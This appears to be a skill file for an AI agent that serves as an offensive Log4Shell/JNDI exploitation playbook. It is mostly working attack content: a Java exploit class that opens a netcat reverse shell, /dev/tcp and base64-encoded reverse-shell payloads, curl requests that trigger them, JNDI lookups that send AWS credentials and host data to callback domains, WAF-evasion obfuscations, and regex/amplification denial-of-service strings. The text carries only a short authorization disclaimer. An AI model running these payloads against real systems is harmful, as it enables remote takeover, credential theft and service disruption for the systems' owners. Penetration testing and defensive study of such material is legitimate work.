Hacktricks-skills log4shell-jndi-exploitation
How to discover, verify, and exploit JNDI/Log4Shell vulnerabilities in Java applications. Use this skill whenever the user mentions Log4j, JNDI, LDAP injection, CVE-2021-44228, Java deserialization, or needs to test for remote code execution through logging libraries. Make sure to use this skill for any Java application security testing involving logging frameworks, especially when HTTP headers, user input, or configuration files might be logged.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell/SKILL.MDLog4Shell & JNDI Exploitation
A comprehensive guide for discovering and exploiting JNDI injection and Log4Shell vulnerabilities in Java applications.
⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written permission to test.
When to Use This Skill
Use this skill when:
- Testing Java applications for Log4j vulnerabilities
- Investigating CVE-2021-44228, CVE-2021-45046, or related CVEs
- Analyzing JNDI injection possibilities
- Needing to verify if user input is being logged by vulnerable libraries
- Working with LDAP, RMI, or CORBA-based Java applications
- Preparing for penetration testing engagements involving Java stacks
Quick Reference
| Phase | Command/Tool | Purpose |
|---|---|---|
| Discovery | DNS callback payloads | Detect vulnerability |
| Verification | Environment variable exfiltration | Confirm exploitability |
| Exploitation | marshalsec, JNDIExploit | Achieve RCE |
| Bypass | Obfuscation techniques | Evade WAFs |
Phase 1: Discovery
DNS Callback Detection
The most reliable initial detection method. Vulnerable applications will send DNS requests to addresses in your payload.
Recommended callback services:
# CanaryTokens ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} # Interactsh (recommended) ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} # Burp Collaborator ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} # DNSLog.cn ${jndi:ldap://2j4ayo.dnslog.cn} # Huntress ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
Important: Receiving a DNS callback confirms the application processes the payload, but doesn't guarantee full exploitability. You must attempt exploitation.
Local Vulnerability Scanning
Find vulnerable log4j-core versions on local systems:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j-core-(1.[^0]|2.[0-9][^0-9]|2.1[0-6])"
Vulnerable versions:
- Log4j 2.0-beta9 to 2.14.1 (CVE-2021-44228)
- Log4j 2.15.0 (incomplete fix, CVE-2021-45046)
- Log4j 1.x with JMSAppender (CVE-2021-4104)
Phase 2: Verification
Environment Variable Exfiltration
Confirm vulnerability and extract information using DNS callbacks with embedded variables:
# Basic verification with Java version ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} # AWS credentials (if present) ${env:AWS_ACCESS_KEY_ID} ${env:AWS_SECRET_ACCESS_KEY} ${env:AWS_SESSION_TOKEN} # System information ${env:HOSTNAME} ${env:USER} ${env:PATH} ${sys:java.class.path} ${sys:user.home} ${sys:user.name}
Common Variables to Test
${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} ${env:AWS_PROFILE} ${env:AWS_SECRET_ACCESS_KEY} ${env:AWS_SESSION_TOKEN} ${env:AWS_SHARED_CREDENTIALS_FILE} ${env:AWS_WEB_IDENTITY_TOKEN_FILE} ${env:HOSTNAME} ${env:JAVA_VERSION} ${env:PATH} ${env:USER} ${hostName} ${java.vendor} ${java:os} ${java:version} ${log4j:configParentLocation} ${sys:PROJECT_HOME} ${sys:file.separator} ${sys:java.class.path} ${sys:java.class.version} ${sys:java.compiler} ${sys:java.ext.dirs} ${sys:java.home} ${sys:java.io.tmpdir} ${sys:java.library.path} ${sys:java.specification.name} ${sys:java.specification.vendor} ${sys:java.specification.version} ${sys:java.vendor.url} ${sys:java.vendor} ${sys:java.version} ${sys:java.vm.name} ${sys:java.vm.specification.name} ${sys:java.vm.specification.vendor} ${sys:java.vm.specification.version} ${sys:java.vm.vendor} ${sys:java.vm.version} ${sys:line.separator} ${sys:os.arch} ${sys:os.name} ${sys:os.version} ${sys:path.separator} ${sys:user.dir} ${sys:user.home} ${sys:user.name}
Phase 3: Exploitation
Understanding JDK Version Impact
| JDK Version | LDAP Codebase Loading | Deserialization Attack |
|---|---|---|
| < 6u141, 7u131, 8u121 | ✅ Possible | ✅ Possible |
| ≥ 6u141, 7u131, 8u121 | ❌ Blocked (trustURLCodebase=false) | ✅ Still Possible |
Key insight: Higher JDK versions block remote codebase loading via LDAP but remain vulnerable to deserialization attacks using trusted gadgets.
Method 1: Marshalsec with Custom Payload
Setup LDAP referral server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip>:8000/#Exploit"
Create exploit class:
// Exploit.java public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } }
Compile and serve:
javac Exploit.java -source 8 -target 8 python3 -m http.server 8000
Trigger exploitation:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Method 2: JNDIExploit
Start the exploit server:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Available exploits:
# List all available exploits java -jar JNDIExploit-1.2-SNAPSHOT.jar -u # Create file on target ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] # Reverse shell (Unix) ldap://null:1389/Basic/ReverseShell/[ip]/[port] # DNS log verification ldap://null:1389/Basic/Dnslog/[domain]
Example attacks:
# Create file curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' # Reverse shell curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' # Alternative reverse shell curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Method 3: JNDI-Exploit-Kit
Generate exploit URLs:
# Reverse shell on port 4444 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Method 4: ysoserial + JNDI-Exploit-Kit (For Trusted Gadgets)
Best for: Java versions configured to only trust specified classes.
Generate deserialization payload:
# Reverse shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Serve the payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Exploit:
${jndi:ldap://10.10.14.10:1389/generated}
Phase 4: Bypasses
WAF Evasion Techniques
# Environment variable obfuscation ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} # Lowercase function ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} # Mixed case ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/} # Character slicing ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z} # Alternative environment variable ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/} # Mixed functions ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/} # RMI protocol ${${::-j}ndi:rmi://attackerendpoint.com/} # DNS protocol ${${::-j}ndi:dns://attackerendpoint.com/} # Unicode trick (Turkish i) ${${lower:jnd}${lower:${upper:ı}}:ldap://...}
Localhost Bypass (For Log4j 2.15)
${jndi:ldap://127.0.0.1#attacker.com/a}
Phase 5: Post-Log4Shell Exploitation
Understanding Version Changes
| Version | Message Lookups | JNDI Default | Recursive Lookups |
|---|---|---|---|
| 2.16.0+ | ❌ Removed | ❌ Disabled | ✅ In config only |
| 2.17.0+ | ❌ Removed | ❌ Disabled | ✅ Top-level only |
Exception-Based Exfiltration
Trigger exceptions to exfiltrate data:
# Basic exception exfiltration ${java:${env:FLAG}} # This triggers an exception because ${java:CTF{blahblah}} doesn't exist # The exception message contains the flag value
Binary Search via Regex
Use %replace with regex to test flag values:
# Trigger exception if regex matches %replace{${env:FLAG}}{^CTF.*}{${error}} # Time-based ReDoS %replace{${env:FLAG}}{^(?=CTF)((.`)*salt$}{asd}
Amplification Attack
Cause timeout through massive string replacement:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
If the flag matches
flagGuess, this creates 96+ billion characters, triggering a timeout.
Automated Scanners
| Tool | Purpose |
|---|---|
| log4j-scan | Network scanning |
| Log4j-RCE-Scanner | RCE verification |
| burp-log4shell | Burp extension |
| log4j-scanner | CIS scanner |
| local-log4j-vuln-scanner | Local detection |
| log4j-sniffer | Local library detection |
Practice Labs
| Lab | Platform | Difficulty |
|---|---|---|
| LogForge | HackTheBox | Medium |
| Solar Room | TryHackMe | Easy |
| log4jpwn | GitHub | Easy |
| log4shell-vulnerable-app | GitHub | Easy |
Related CVEs
| CVE | Severity | Description |
|---|---|---|
| CVE-2021-44228 | Critical | Untrusted deserialization, RCE |
| CVE-2021-45046 | Critical | DoS via incomplete fix |
| CVE-2021-4104 | High | Log4j 1.x JMSAppender |
| CVE-2021-42550 | Moderate | Logback vulnerability |
| CVE-2021-45105 | High | DoS in 2.16.0 |
| CVE-2021-44832 | High | JDBCAppender RCE |
Scripts
Use the bundled scripts for common tasks:
- Find vulnerable log4j versions locallyscripts/scan_local_log4j.sh
- Generate various payload typesscripts/generate_log4shell_payloads.py
- Setup DNS callback monitoringscripts/setup_dns_callback.sh